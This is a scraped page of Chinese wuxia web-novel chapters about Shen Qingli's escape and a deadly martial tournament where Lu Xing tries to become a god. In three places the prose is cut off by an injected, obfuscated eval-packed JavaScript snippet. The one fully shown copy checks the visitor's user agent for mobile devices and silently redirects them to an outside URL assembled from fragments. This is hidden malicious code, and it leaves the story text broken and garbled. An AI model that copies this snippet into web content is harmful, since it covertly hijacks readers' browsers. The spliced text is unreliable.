“轻离你快和我说说，你是怎么全身而退？” “唉漠宁不瞒你说，那会真是惊心动魄，还好他们意不在我，又有小胡城主帮衬，我这才能活着出现在你的面前。” 之后在听沈轻离道出了全部事情后，凤漠宁只觉得后怕至极，若是中间任何一环松了，恐怕沈轻离今天都不会这样出现在这里。 时间回到半月之前，李治被软禁在周明启的府上，沈轻离按照之前计划的躲在了李府的地下，袁墨带人没用多久就找到了她，之后便是被押入大牢没日没夜的日子。 在萧妖雪离开之前她们二人就已经讨论过最坏的打算，沈轻离只是觉得若是不成，自己最后就算是死也是为了潇湘阁而死，这也算不枉这一辈子。 可是没想到她被关进去了以后并没有受到严刑拷问，只是要求她交出那本账本，之后便是无人问津，直到有一天来了一个人，打开了牢门就放她离开了，只是告诉她以后不能再用沈轻离的身份生活了，最好也不要再回京都，至于其他都不是问题，然后带着她离开地牢。 终于时隔多日，沈轻离再度见到了高悬的白日，闻到了土地的味道，以及看到之前那个被她治得死死的胡晓枭。 胡晓枭在潇湘阁被沈轻离整治了一番后，就安安心心的呆在楼里按照沈轻离的计划一步步的形式，最后等到新的楼主来了，他也就功成身退，算是报答了潇湘阁对他的救命之恩。最后他只要按照萧妖雪之前交代他的将沈轻离带出京都，那他以后就与这潇湘阁再无瓜葛了。 可是热恩总是会变的，胡晓枭经历了这一遭，心性早就不同于以往，这件事沈轻离体会最为深刻，多日未见，今日再会，胡晓枭的眼神已经完全蜕变。 这让沈轻离不由得想起了当时那夜她的作品，怎奈何现在不是回味的时候，二人急忙驾着马车出了城。 一路西去，意外的顺利，就算是耳中的风声也没有一句是谈论到京都大牢有人越狱的事情。 “那你的意思是，萧姑娘本来没打算让你来西域？”胡晓枭这才听明白，这沈轻离原来是只要离开京都就行，只是怎么就跟着他来了西域。 “是呀，也不知道是谁一路上马车跑得飞快，晚上住客栈都要暗中盯梢的。”沈轻离这看似无心之言，却让胡晓枭顿时面露尴尬之色。 凤漠宁见状急忙打了圆场“诶呀，轻离你看这不是刚好了，这胡笳城山高皇帝远的，还有我在，你来了正好。” “不错，之前我也正苦恼到底是去哪里，我又可以做什么，现在看来我是可以靠你过上衣食无忧的生活了。” 胡晓枭看着二人有说有笑，心中突然一股难以说明的滋味浮了上来。 “轻离，我这可不能吃白饭，你在京都这么久，是见过大场面的人了，现在来了胡笳城可要替我教导教导这些姑娘。诶？说到京都，那现在京都的楼主又是何人？” “这我倒是确实不知道，恐怕你得问小胡城主了。是吧小小？” 听到小小的时候，胡晓枭顿时难以置信的转头看着沈轻离，眼神中愤怒不言而喻。 “哟，还生气了？怎么不承认？” “怎么可能的事。”胡晓枭低声嘀咕道，可是这屋里就他们三个人各个还都是耳清目明之人，听得那可是清清楚楚。 “咳咳，那个新来的楼主似乎是你们潇湘阁的一个大人物，她来的时候，不少令史都来拜会了。” “能让令史来拜会，这确实身份不小，轻离你说该不会是文先生亲自出山了？” “这我可说不好，毕竟京都是是非之地，现在太子将立，确实需要一位有实力的楼主。” “算了，京都那么远，光是想想都累人，天色暗下来了，我们也准备吃饭吧。小小，这夜明珠你帮我放那架子上，如何？” “都说我不是！” “哦哦，好好小胡城主。” 凤漠宁看着胡晓枭一副不情愿的样子，急忙改了口，这样这位小胡城主才算是接过了那夜明珠。 只是这夜明珠到了胡晓枭手中，胡晓枭顿时像被按住了暂停一般，一动不动了。 “别看了，就是你家那颗。” “那不是？” “妖雪给它打开了，毕竟明珠蒙城不是什么好寓意，不过江城主也同意了，咱们这潇湘阁人来人往，放在这能看到的人可就更多了，这样胡笳城的名声才会更亮，所以快点去帮我放着吧。” “萧姑娘也来了？那三殿下？” “妖雪早就到了，都和你娘喝了几次酒了，至于三殿下确实很久都没有听到他的消息了。” “她在哪？我要见她！” 胡晓枭突然激动了起来，凤漠宁担心那夜明珠被他淬了，急忙接了过来。安安稳稳的放在盒子以后才说道：“妖雪今天早上走了，去云阁的辩武大会了。” “云阁？辩武大会？她有危险，快阻止她！” “自然是因为有危险她才去了，不过你为什么那么紧张，是还有什么我们知道的事情？” “三殿下带回去的玉令丢了，新来的那位楼主猜测应该是被路行拿去了，他要成神。” “玉令丢了？那不是已经收归朝廷了吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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按照东佛寺老和山所说，这路行若是想要借助玉令成神，那必然是要将这次参加的这些人全部扔到炙泉里，可是在这炙泉郡开辩武大会，他要怎么做到。 萧妖雪心中疑虑闹得她睡不着觉，最后只好乘着夜色起身，上了回雁山区查探一番。 都说登高远望，西域地势除了回雁山便是一马平川，萧妖雪也是真正站在了山尖上，她才明白什么叫做站得高看得远。不过也算是明白了什么叫做眼见不一定为实。 因为她现在看过去，目之所及的地方，除了另一个小镇子，便是无边无际的沙漠了，更别说炙泉了，路行到底用了什么方法，能让这么大个炙泉消失的无影无踪的。 胡晓枭小记： 胡晓枭本来打算只要潇湘阁能放她离开，他就头也不回直接去西域，却没想到萧妖雪在走之前竟然还要他接应沈轻离。 在胡晓枭确定了沈轻离肯定是被刑案司控制了之后，他对于这个计划就不抱希望，可是萧妖雪也没说如果他接应不到沈轻离怎么办，好在潇湘阁并没有为难他，京都潇湘阁也从来没有想过依赖这位胡笳城的少城主。 沈轻离被抓后没多久，京都潇湘阁就来了一位新楼主，这女子看起来年纪和沈轻离差不多，但是却是一副弱不禁风的样子。胡晓枭练的气云九式对于习武之人的气息尤为敏感，他可肯定这人从来没有练过武，这样的人竟然也能做这京都潇湘阁的主事人。 不过胡晓枭还是抱着多一事不如少一事的想法，并没有与这位新楼主有过多交集，之前一个沈轻离就已经让他一无所有，他可不想再惹一身腥。 正当胡晓枭正在纠结要不要让沈轻离在京都自身自灭的时候，这位新楼主就带着一身事情来找他了。 “胡少城主，这段时间京都潇湘阁承蒙你照顾，我知道你归家心切，但是还是有一件事想要拜托你，可否再多留几日？” 这女子说话倒是甚是好听，胡晓枭自然知道她既然说了他也走不了了，却没想到这潇湘阁让他留下来的目的竟然还是为了这沈轻离，而且这沈轻离最后也真的被放了出来。 但是胡晓枭拉上了沈轻离就想着快些带她走，走的越远越好，千万不能再让京都的人反悔，可是走了没多久，他便感受到沈轻离好像动了要离开的心思。 胡晓枭当然知道，萧妖雪只要他将沈轻离送出城门，可是真到沈轻离要走的时候，胡晓枭却不知道处于什么心思，他不愿意让她走，他甚至觉得现在沈轻离已经不在潇湘阁的楼主了，而自己却是胡笳城的少城主，之前身上的那些委屈，他可以将沈轻离留在身边，好好地还给她了。 所以当沈轻离每每要说出，她打算就此别过的时候，胡晓枭都会以各种理由打断她，就连晚上也不敢安心入睡，一直暗中留意沈轻离的动向。 这样的束缚感，沈轻离当然感受到，在快要到胡笳城的时候，她便问道：“小胡城主，这一路你到底是怎么回事？” “我没事呀？” “为何暗中盯着我？” “沈楼主说得哪里话，我只是担心有人跟过来多警惕了一些罢了。” “喔？是这样的吗？” “不然沈楼主觉得呢？” “你是不是像将我纳为你掌中之物？” “咳咳，沈楼主怎么会这样觉得呢？” “别叫沈楼主了，我有名字，叫我轻离就好了。毕竟我已经把你看得透透的，你怎么想我能不知道吗。你说是吧，小小？” “你！” 回荡在耳边的余音烧得胡晓枭脸颊通红，但是他不得不承认，沈轻离除了最后两个说得不对，其他还真是千真万确。 71. 云阁辩武 云阁的辩武大会如期开始，可是当众人还在满场寻找那位传说中的五殿下的时候，萧妖雪注意到，路行的身旁的空了一个座位，想必不出意外的话，这应该就是留给那位神秘的皇子的。 不过萧妖雪怎么都不相信周明启会来，且不说现在周明志监国，周明启若真是想要夺这太子之位，现在离开京都显然不是一个明智的选择。 再者说，如果那个消息没有问题，周明启和路行已经成为盟友，那么路行现在要做的这件事周明启不可能一无所知，那他也不可能再出现在现场。 萧妖雪来这辩武大会本来就是为了找到这场阴谋所在，至于上场和那些人比试她是毫无兴趣，所以也便理所当然的寻了一个角落坐下。 可是奈何之前在西域走过一遭，这边还真有几个熟人，这日子不凑巧，又给遇上了。 这最主要的一位就是代表马家前来的骨谙，萧妖雪距离上次见到骨谙已经过去一年多了，这次再见，她只觉得骨谙的身形更加瘦削，但是精气神却是格外的好。 “骨老，看您这模样，你的阴法又精进了不少吧。” “萧姑娘谬赞了，我这土埋到眉毛的人了，不过是风烛残年罢了。萧姑娘来看着辩武大会，怎么坐在这么角落的地方，这种时候，像你们这些意气风发的少年不应该上去比试一番？” “我对比试可没有兴趣，只是有幸收到了这请帖，便过来看看。” “能让潇湘阁出动你这样的身份的人，想必这次辩武大会不简单吧？”以马家的能力想要知道点潇湘阁密辛不是什么难事，按照管这么说或许也只是打探到自己是一个令史罢了。 “骨老还是这么敏锐。” “可有什么用得上我们马家的？” “您要这么说，还真有一件事我要向你打听打听。” “萧姑娘但说无妨，你想打听几件都不是问题。” “我们现在在的这里真的是炙泉郡吗？” “炙泉郡？那还远着呢。这里不过是回雁山脚下的一块空地罢了。” “什么？云阁的请帖上写的不是在炙泉郡？” 骨谙面对萧妖雪的反应显然是见怪不怪了，不过还是耐心地解释道：“这西域的郡县可不比东边，西域除了沧州和胡笳城其他十几人便成了村，几十人便成了郡，这炙泉郡也不过是有个三十多口人的小村庄罢了，哪里能容得下这云阁辩武大会从四面八方赶过来的这些英雄好汉。” “那骨老，这炙泉到底在哪？” “炙泉应该就在这附近了，你若是有空晚上爬上那回雁山就能看见。” “听闻炙泉有奇效，我对于西域知之甚少，若是这人泡在这炙泉是会功力大增？”萧妖雪心中怀疑越来越大，昨夜上了回雁山就没有看到这炙泉，现在按照骨老的说法，她不禁开始怀疑他们脚下的这片土地，若是这背后的人是路行，或许一切都有可能。 “泡一下？萧姑娘你作为潇湘阁的令史，说出这话就有些荒唐了吧，就算是你我这样的修为落入那炙泉之中也只有死路一条的下场，哪来的功力大增。” 骨老说这话的时候余光就瞥见了萧妖雪，只见她的眉头越皱越紧，骨老还以为是自己的话说得重了，萧妖雪毕竟不常来西域，或许不知道也是正常的。 正要开口解释，却被萧妖雪打断了：“骨老，我还真有一件事要麻烦你。” “嗯？是这炙泉出了什么问题吗？” “你现在就回马家，让马家主带人赶过来，最好再带上施救的工具，至于理由你就告诉他，有不少人掉进了炙泉，必须要马家出手相助。” “不少人？”骨谙现在也是一头雾水，要真是有这消息，这西域很难不炸锅，怎么现在一点风声都没有听说呢。 “时间应该是辩武大会的最后一天，你现在去应该还来得及。” “唉，萧姑娘，虽然我不知道你是知道了什么，但是就算真的有很多人落入这炙泉中马家也没有义务出动这么多人马来救援呀。” “若是我说是今天在场的这些英雄好汉呢？江湖上的人讲究江湖道义，马家救了他们一命吗，以后可都是过命的好兄弟了。” “可是？” “小马公子如今已经入了武清宗，以后难免要和江湖上的这些人打交道，你就把这句话原封不动带给马志才，我想他会明白的。” “诶呀，萧姑娘也不是说我不信你，这我这次来也是代表马家来的，我最后一日还有一场比试……” “我替你比，一定不会让马家蒙羞。”萧妖雪最后一句话彻底打消了骨谙的心思，只好收拾收拾东西，离开这辩武大会。 萧妖雪在将目光投向场中时，今日的赛程已经过半。本来路行作为在场最强的人，却是对着辩武大会的表演一句话都没有点评。 萧妖雪起初只当是路行觉得这第一日都是一些资质平平之辈在下面蹦跶，但是看了几场之后，也觉得遮蔽物其中不乏精彩的片段，但是在看路行还是一脸漠然，似乎他的精力都集中起来在做另一件事一样。 “你说这奇不奇怪，江湖的英雄来了这么多人，但是却见不到几个云阁的人，难道说云阁现在已经人丁凋零了。” 正当萧妖雪看得入神的时候，耳畔传来了一个熟悉的声音，萧妖雪下意识转头去看，就看到了周明理一身简装坐在了她身边。 又回想起当日莲座镇的那场大火，萧妖雪这几日已经平复的心情又起了波澜，周明理的话她一句都没有接，而是回了他一个白眼，顺便还往一旁挪了挪地方。 “就算这辩武大会现在就停下来，你也救不了他们。我们现在正在炙泉的正上方，只要路行稍微一用力，我们就会全都掉下去。” “你怎么就知道我救不了，我一定可以的。” 萧妖雪心中实在火大，忍不住还是回了周明理的话，这话出口了萧妖雪又有些无奈，其实刚刚让骨谙回去搬救兵的时候，她就已经知道，这场灾难在所难免，可是无论怎样她都想试试。 “那要不你试试这个。”预料之外，周明理没有传来无奈的叹息，而是递过来一沓纸，上面鬼画符一样的画着些东西，萧妖雪本来是不以为意，可是就是一个念头突然在她的脑海中闪过。 “这是？！” “我特意让丁游画的，以备不时之需，没想到还真用上了。现在可以收下了吧？” 说着周明理就又往前递了递。传运符，确实是一个不错的选择，若是用了至少可以减少一半的伤亡，萧妖雪也不再拒绝，接过了这一沓传运符。 周明理看着萧妖雪态度也缓和了不少，也便顺势往萧妖雪身边靠了靠。 “妖雪，莲座镇的事情，你想不想听我说说？” “怎么你还有什么要狡辩的？” “郑陆成被捕了。” “他不是重要证人吗？” “一码归一码，不错我之前确实安排了郑陆成配合我演了那场烧村的戏码，可是我从来没说过要杀那些村民，不然我也不会让你把他们集中在村口空旷的地方。” “可是最后结果就是这样，还有什么好说的。” “不错，大错已经酿成，我确实难逃罪责，之后再回京都我会亲自向圣人请罚。” “罢了，现在我们也算是大难当前，这事情就别提了，圣人什么时候醒都不知道，你这罚恐怕也是遥遥无期。” “那若是这样，妖雪这件事也就你我二人知晓，不如以后这罚就交给你来定如何？” 周明理说这句话的时候已经贴到了萧妖雪身上，语气用得极轻却又坚定，这气氛顿时就由请罚变成了讨好。 周明理也亲眼看着萧妖雪的靠近他这边的耳朵，倏的一下就红了。 “好了，这事以后再说，你既然已经知道这炙泉的事情，你就快些走吧。” “我还不能走。”周明理说出这话的时候，显然有些失落。 “为什么？” “周明志派我来镇场子。” “你？不是周明启吗？” “他怎么会来，那小子小子现在成天像是着了迷样一样的盯着袁梅，来朝中政务他都不常去了。” “他们这大婚都已经月余了，怎么还这样？”萧妖雪有些不明，就算他们两人感情再好，这过了这么久了，周明启作为皇子也该干点正事了。 “我这次回去没有见过袁梅，但我总隐约觉得，他们这可不像是甜蜜的表现。” “算了，他们远在京都，还是等回去再说吧。对了你之后一定要小心路行，诶对呀，你不是来镇场子的吗？还坐在这干嘛？” “我知道了，路行那身手我小心他有什么用，还不如等最后一日再去吧，去早了做那也没事情。” “你坐着也没有事情呀。” “至少比那好。” 就这样前两天的辩武大会安然无恙的结束，最后一天辩武大会还是暗时开启，而且这一日的人相比去前几日那是多了近一倍。甚至有人不惜爬到了回雁山的山顶上，这原因就是因为今天才是辩武大会最精彩的片段，不少武榜上有名的人，都会在今天亲自出手。 这一日不仅观众来的多，路行身边的位子没有再空着，只是坐在那里的人也并非是传言中的五皇子周明启，而是在西域人人熟知胡笳郡王周明理，虽然与预期有些差距，但是众人也还是欢呼雀跃，毕竟胡笳郡王去了京都这么久，本以为是他已经忘了西域，如今还能再出现，西域众人对于这位郡王又好了不少。 开场的几场比武那都是精彩至极，现场的喝彩声都没有停下来过。 直到这场上喊到沧州马家对阵胡笳城的时候，众人惊呼声达到了最高潮。胡笳城的气云九式早就人尽皆知，至于那马家听说那位练阴法的老头也很是神秘，众人现在非常期待。 瞌睡当双方入了场的时候，台下就传来窸窸窣窣讨论声。 “在下萧妖雪，今天替马家上来比一场。” “这不是巧了，在下胡铭，今天替我那侄子胡晓枭来比一场。” 这辩武大会竟然还能替赛，台下众人开始有些不满了，一个女人，一个看起来病歪歪的中年人，这比试怎么看都没意思。 可是云阁的人却迟迟没有出面阻止，而是随着铜锣一响，这比试正式开始。 胡铭的身份在大多数西域人眼中都是一个谜，他们知道这是废人，整天游手好闲的，按理来说应该落在他身上的城主之位，也落到江秋鸿的手上，至于其他也没有人想去了解这样一个混子的生活。 但是萧妖雪却不同于他们，胡铭可是潇湘阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169772|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中都有记载的人，当年的将军阁为虎作伥，就是因为有了他这将军阁才得以被朝廷诛杀，只是在将军阁消失之后，这位胡铭好像也消失了一样。 萧妖雪一直以为是经过那件事后，胡铭的武功被废了，但是今日他还能站在这台上看来也不是那么简单。 果然胡铭没有给萧妖雪太多思考的时间，便先发制人的冲了上来。萧妖雪同样是是流彩剑悬于周身，而胡铭看到这流彩剑似乎更加愤怒。 口中怒喝道：“又是流彩剑，去死吧！” 虽然气云九式讲究气息的对撞，萧妖雪按理来说应当多多避让，但是胡铭出手可比胡晓枭快了不少，加之这演武场不比那次设宴的大厅，萧妖雪就算是躲最后难免都要和他对上。 连接了五式之后，萧妖雪渐渐有些吃力了，第六式胡铭又是采用了近战，二人短兵相接，萧妖雪接连退了五步才稳住了身形，一丝血迹也从嘴角渗了出来。 可是胡铭却完全不给萧妖雪喘息的机会，又追了过来。 萧妖雪心念一动，手上的流彩化作碎片向着胡铭飞去，胡铭也就着这扑面而来的碎片出手一抓，几枚碎片顿时与萧妖雪失去了联系，然后就被胡铭这样随手扔在了一旁，发出了清脆的叮当声。 第七式已成，胡铭现在气势大涨，就连台下的众人都是一惊，一来他们完全没想到胡笳城竟然卧虎藏龙还有这样一位高手在，二来他们二人现在比试，完全不像是比试，更像是一场厮杀。 胡铭对着萧妖雪是动了杀心。 接下来的这一拳，在座的众人自问没有几个人可以保证毫发无伤的接下，场上的萧妖雪同样是这样。 而就在胡铭攻过来的时候，萧妖雪看住了时机，压矮身形想着避开胡铭的拳头，去攻击他的下盘，这样或许还能有一线生机。 可是当萧妖雪贴上去才大感不妙，胡铭这一拳竟然是虚张声势，就在脚上等着她呢。 果然下一秒萧妖雪就被巨大的力量给踢了出去，躺在躺在地上有些动荡不得。 高台上周明理也是蹭的一下就站了起来，对着胡铭高喊道：“住手！” 胡铭显然没有打算就此罢休，又朝着萧妖雪走了过去，这时口中还念念有词：“狗宰相的狗种去死吧。” 而在看萧妖雪挣扎了几下还是没能起身，周明理顿时就急了，转向一旁的路行，希望他能出手阻止这场比试。 可是路行还没有等他开口，就压着声音说道：“坐下吧，马上就结束了。” 周明理现在哪能袖手旁观急得他都要跳下去，不过好在萧妖雪却是没有让他失望。 只见原本大步向前的胡铭顿时脚下一停，原本念念有词的嘴巴彻底闭上了，牙关紧咬，额头青筋暴起，似乎正在忍受巨大的痛苦。 胡铭只觉得体内的有一柄利剑正在切割着他的经脉，现在正向着心脉而去。气云九式精髓就是将体内的气息外表出来成为强有力的利器。 胡铭这样的修为想要从外部攻破他的气云九式第九式难上加难，但是若是从内的话，那就容易了不少。 在看刚刚躺在地上萧妖雪现在也挣扎起身了，对着胡铭一挥手，胡铭的心脉寸断，气云九式蕴藏的强大气息开始乱窜，最后就这样爆体而亡。 讲解这场的比武的云阁长老已经看呆了，知道胡铭的气息完全消失了，他才恍然大悟。 “萧姑娘在与胡铭的第七式对碰的时候，将流彩剑打进了胡铭体内，直到九式既成，断了胡铭的心脉。此役萧妖雪胜。” 江冬藏小记： 眼看年末将近，江冬藏在协助周钦德解决完单骁和将军阁之后，终于是落得闲来。 可是他的家人却并没有让他闲下来的打算，很快就给他和王文妆的婚事安排上了议程。 江冬藏这才想起之前见过一面的女子，不过这平日里忙碌也还好，现在闲下来，江冬藏还真有些期待这场婚事。 至于王文妆看到家里面推进来的没完没了的彩礼的时候，心中依然是乐开了花。这段时她天天等呀等，盼呀盼，总算是把这婚事给盼来了。 却在大家都忙着清点财力的时候，她回到房中，拿出了一个带锁的箱子，打开之后里面全是之前她偷偷秀的那些东西，现在终于可以光明正大的拿出来。 大婚当日，京都中也是鞭炮齐鸣，锣鼓喧天。 江府门前人来人往，就连当朝宰相之女林梦都亲自前来祝贺。 王文妆作为新妇自然也要见见林梦，二人之前就认识，如今见面更是分外亲热。 林梦与王文妆一顿寒暄之后，又从身后拉出了一人，介绍给了王文妆。 “这是我朋友，叫做萧云雁，她的武功可好了。你们以后在京都肯定有机会见面，今天就先给你们搭个桥吧。” 萧云雁看着红盖头下的王文妆，原本要送出手那一套凤钗顿时被她收了起来，而是拿出了一个木牌送给了她。 “这是潇湘阁的急令，礼轻情意重，还望王姑娘不要嫌弃。” 王文妆自然听说潇湘阁，这急令更是威名远扬，没想到眼前这人这一见面就送了这么重的一个礼物，看来以后这份情还要好好还一下。 之后那便是大婚的常规流程，二人也是如愿洞房之中遇佳人，云雨之后话余生。 72. 云阁辩武2 在胡铭化作一团血雾后，这场辩武大会也算是达到了最高点，台下众人唏嘘不已，此时无人知道到底是应该讨伐萧妖雪这个杀人犯，还是应该起身鼓掌。 直到路行率先拍起了手，观众席的诸位才跟着喝彩起来。 而这时萧妖雪和周明理却没有半分松懈，刚刚萧妖雪挨了那一脚真的不算轻，肺腑之内一股气息不停乱窜，但是仍然要留出一股气息紧紧盯着路行。 周明理的处境也同样如此，萧妖雪现在的情况是她演的还是真实的他不太清楚，但是身旁的路行却让他感到倍感怪异。 路行不论是鼓掌还是说话，都给人一种木讷的感觉又或许他在强撑着什么。只是突然周明理注意到路行在下下一秒突然变的流畅起来，好像真的又回到了之前那个武榜第一的风采。 而萧妖雪感觉到的事情就截然不同了，她留在路行周身的气息突然被天地间涌向路行的气息完全给打碎了。路行这是在回收他之前释放出去的气息，那这些气息到底是……！ 还不等萧妖雪多想观众席上边传来轰塌声，紧接着就是惊恐的惨叫，最后是人落入水中的扑通声。 萧妖雪来不及多想，催动气息将转运符洒向各方。顿时场上光芒亮起，不少人眼看要落入炙泉，身下阵法光芒一闪而过，人就坐在了远处的空地上。 路行很快就注意到了这一幕，眼看大业将成却遇上这样一个拦路虎，心中大怒，向着萧妖雪就冲了过去。 周明理本想要出手阻止，可是他还没有碰到路行的衣角，只觉得眼前一花，再看清时眼前已经不是刚刚的辩武大会，而是胡笳城的城门。 看来萧妖雪这是故意把自己送这么远，但是再远难道他就能不赶过去吗。 凭借着胡笳郡王的身份，周明理很快就借到了马，一路狂奔向着炙泉而去。 而萧妖雪这边的情况的也着实棘手，辩武大会所在的这个炙泉郡就是路行运用自己的修为强行搭建起来的，所以他这样硬撑了三天确实也有些吃力。 现在没了他气息的支撑整个台子已经全部坍塌落入了炙泉之中。萧妖雪脚尖轻点在流彩剑的碎片上，在空中勉强稳住了身形。 路行看着不少即将落入炙泉的人就这样凭空消失，已经怒不可赦了。而这一切的元凶就是眼前这女子。 顿时强者的怒火倾泻而下，萧妖雪被压迫的喘不过气来了。心念一动，脚下也亮起了一个阵法。 刚刚对战胡铭的时候萧妖雪已经略显吃力，而现在面对的是路行，除非拼死一搏，不然定然是要交代在这。 可是还没等那转运阵完成，萧妖雪就觉得肩头一沉，整个人顿时倒飞出去。 而就在这电光火石间，她看到路行的眼神，此时他已经双目赤红，这样的强者走火入魔了不是什么好兆头。 好在路行出手极重，萧妖雪便借着这股劲直接落到了炙泉边，还来不及感受扑面而来的热气。 耳边已经传来了路行的怒吼，以及他那封魔了一样的气息完全笼住了萧妖雪。 流彩剑这次也不再分散开，而是紧紧凝聚成一柄长剑。 路行显然知道流彩剑的威力，也不再赤手空拳，只是虚空一握，就飞来一柄长枪。 长枪直奔萧妖雪面门而去，萧妖雪只能边防边退。而此时路行的招式又狠又毒，萧妖雪不过是接了三招，凝聚流彩剑的气息就开始不稳了。 接下来路行更是毫不手软一枪直奔萧妖雪心口而去。当萧妖雪还想再退的时候，身后的岩壁挡住了她的去路。 生死一刹那，萧妖雪只能侧让一步，流彩剑一横，挡下了一枪。 可也就在流彩剑和长枪相触的时候，一股毁天灭地的力量顺着那交点传到了萧妖雪身上，下一秒之间流彩长剑破碎为碎片，而萧妖雪的身体也像一个断线的风筝倒飞出去。 最后摔在地上一动不动，路行似乎还不解气，又提枪而上，只是这次路行还没有走到萧妖雪身前就停下了脚步，转头看着身后岩壁之上，那里赫然站着几人。 “呵，萧云雁，武清还有两个小娃娃。来的正是时候，我这封神池就差了几个你们这样的品质的。” “路行，清醒点，这样疯狂的方式你怎么可能成神，住手吧。” 萧云雁看着双目赤红，神情癫狂的路行心中隐隐不安。 果然路行接下来的没有再向着萧妖雪而去，而是只是闪身之间就来到了身前，萧妖雪和武清默契的将刚刚才从东佛寺出关的李无忧和马得源护在身后。 “你们两块去救人！” 武清对着身后的两人喊道，而这次他也不再用掌，多年没有出鞘的断秋水寒芒一闪，依然是，气势恢宏的一招与路行劈下来的长枪相碰。 周围的黄沙顿时以二人为核心迸发开，就连不远处的炙泉之中也因为这一击荡起千层波浪。 再看路、武二人脸色都不好看。武清只觉得路行仿佛劈下来的是一道天雷，他现在全身麻木，五脏六腑却翻江倒海。 而路行同样不好过，武清的断秋水成名很早，现在早已炉火纯青了，这一剑出鞘的力量就像滚滚江水连绵不绝。而路行就像那河道中间的巨石被反复拍打。 萧云雁在一旁看着二人一时之间难分伯仲，而路行显然被暂时控制住了，也顾上什么江湖规矩，背后出剑直奔路行的后心而去。 路行虽然暂时被武清这连绵的波涛给控制住了，但是自后背而来的杀气他自然不会忽略，手上力度加重一分，短暂的将武清逼退，回身一枪扫去挡下了萧云雁暗中偷袭的一剑。 萧云雁自然知道这一剑定然取不了路行的命，所以在路行回身就收了力，仅仅是点到为止就撤身远离。 路行一击扑空，身后武清的剑气已经再度扑面而来，只是这次这滚滚江水遇上的不仅是那江中的巨石，而是一座高山，一座不可以摧毁的高山。 “怎么会这样？”武清暗道不好，萧云雁也注意到了路行气息的变化，凝神一看，便看到路行腰间挂的玉佩正在发光。 “是玉令，他吸收炙泉的死气！” 也就在这时路行的眼眸已经完全赤红，看着眼前的武清就是一枪掷出，武清出剑格挡，整个人被推着推了十几步才停下，手中断秋水也不断发出嗡鸣。 就在路行长枪脱手的时候，在他脚边一处不起眼的沙地中，一枚流彩剑的碎片顿时动了，碎片的上的气息十分微弱，路行在这样狂怒的情况下完全无法感应。甚至连激战中的萧云雁和武清都没有注意到，可也就是这一枚碎片成为制住这样一个杀神的关键一招，那碎片没有攻击路行任何一个要害，而是贴着他挂在腰上的玉令而过。 玉令就这样悄无声息的落入沙地之中，扬起了一小片沙尘，然后萧云雁就听见远处萧妖雪大叫：“就是现在，师傅快！”然后就在李无忧和马得源的难以置信的目光中又晕死过去。 萧云雁也不多想，一剑递出，刺入了路行的身体，却没有迎来预想中的反抗，只是看见路行难以置信的眼神。 随后那眼神又难以置信，再度变为癫狂。 “你杀了我？我可是神！我怎么会死？你杀了神！那你就该为神陪葬！” 萧云雁看情况不对想把剑离开，可是路行的身体中仿佛有一只手紧紧的握住剑柄。 “你！” 就算这柄剑是天下第一剑萧云雁现在也不能要，整个炙泉的气息都在向着路行聚集，他成为了一场毁天灭地的风暴的中心。 萧云雁和武清此时已经退到了萧妖雪身边，但是众人还是身处在这场风暴之中。 “置死地而后生！路行真的成神了。”萧云雁有些难以置信，很多年前她在进入东佛寺的藏经塔里看见过这样的情形，这样的杀神诞生，定然使世间生灵涂炭，现在是他们打断他的最后机会。 而同样进过藏经塔的李无忧和马得源也知道这个事情，三人仅仅是一个眼神，就明白了对方所想。 齐齐向着路行围了过去，口中念着心经，就这样一步一步逼近路行，好似还真的有些作用，这场风暴成长的速度变慢了许多，但是却没有停下，路行现在似乎已经超然物外，完全没有感知到靠近的三人。 李无忧和马得源跟在萧云雁身后，看着没法完全停下的风暴心中早已都是恐惧。就在这时萧云雁给他们打了一个手势，示意他们就在此地不要再向前了，二人还没有明白，萧云雁口中心经已经停了下来，然后众人就看到萧云雁来到了路行身前体内涌出一股不容小觑的力量，力量不断堆积，最后“碰！”的一声爆裂开来。 风沙再起，不少人因为修为不足被这冲击力震得七窍流血。 李无忧和马得源因为离这风暴中心最近，直接被震飞，也陷入了昏迷。 好在待风沙落定，原本那凝聚恐怖力量的风暴已经消失，路行的气息也从天地之间消失了。 这时远处传来了马蹄声，以及有人的高喊，终于唤回了武清的理智。 “妖雪！妖雪！” “胡笳郡王！”武清朝着来人喊道。 周明理都等不马站稳就跳了下来，可是武清也很急都不等周明理问，就把昏迷的萧妖雪塞到了他手里。 自己则向着刚刚萧云雁消失的地方冲了过去。 而到了近前武清的心也提到了嗓子眼，刚刚萧云雁的做法就是自爆，这样的做的结局没有什么好的，现在看着浑身是血躺在少漠中的萧云雁，武清有些犹豫，他害怕他的手探上去感觉不到任何气息。 好在地上因为呼吸扑起的一阵小沙尘，给了他一丝希望。 “云雁，云雁。”武清抱起了萧云雁，感受她身上的还留有余温，口鼻处也还有微弱的呼吸，总算是松了一口气。 可还没等他完全松懈，身后的动静却让他浑身一寒。 “哈哈哈！你们这些蝼蚁你们是杀不死我的！我可是神！哈哈哈！原来这就是成神的感觉吗？” 武清回头就看路行跪在沙地里，仰天长啸。抱着萧云雁的手不由得收紧。 “诶？不对，我的气息呢？不是这样的？我不是成神了吗？不对？” 萧云雁这样的强者自爆，路行没有死已经是奇迹，但是好像也是武功尽失，现在看来还有些疯疯癫癫，武清心一横，断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 